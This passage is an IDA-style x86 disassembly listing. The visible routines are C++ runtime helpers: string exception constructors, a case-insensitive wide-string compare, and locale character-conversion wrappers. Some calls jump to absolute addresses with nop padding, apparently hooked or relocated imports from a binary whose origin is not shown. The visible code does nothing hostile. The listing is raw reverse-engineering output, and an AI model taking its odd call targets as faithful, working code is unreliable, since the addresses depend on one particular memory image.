		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------


loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx


loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A40	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		nop
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		nop
		jmp	near ptr 2800000h
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h


loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h


loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------


loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2


loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi


loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------


loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2860000h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_4CDA48, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4CDA48
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4CDCA4, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_4CDCA4, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------


loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_436EF4
		push	edi
		push	esi
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_4CDCA4, 2


loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_4CDCA4
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2880000h
		nop
		jmp	loc_422E6F
; ---------------------------------------------------------------------------


loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax


loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27C0000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi


loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------


loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------


loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	near ptr 2640000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D


loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------


loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax


loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0


loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91


loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_433C74
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5


loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]


loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDCA8
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------


loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	edi
		call	near ptr 25F087Fh
		nop
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax


loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_4CDCA8, eax


loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	loc_4230B6
; ---------------------------------------------------------------------------


loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax


loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 27C0000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_4CDA48


loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25F087Fh
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------


loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax


loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
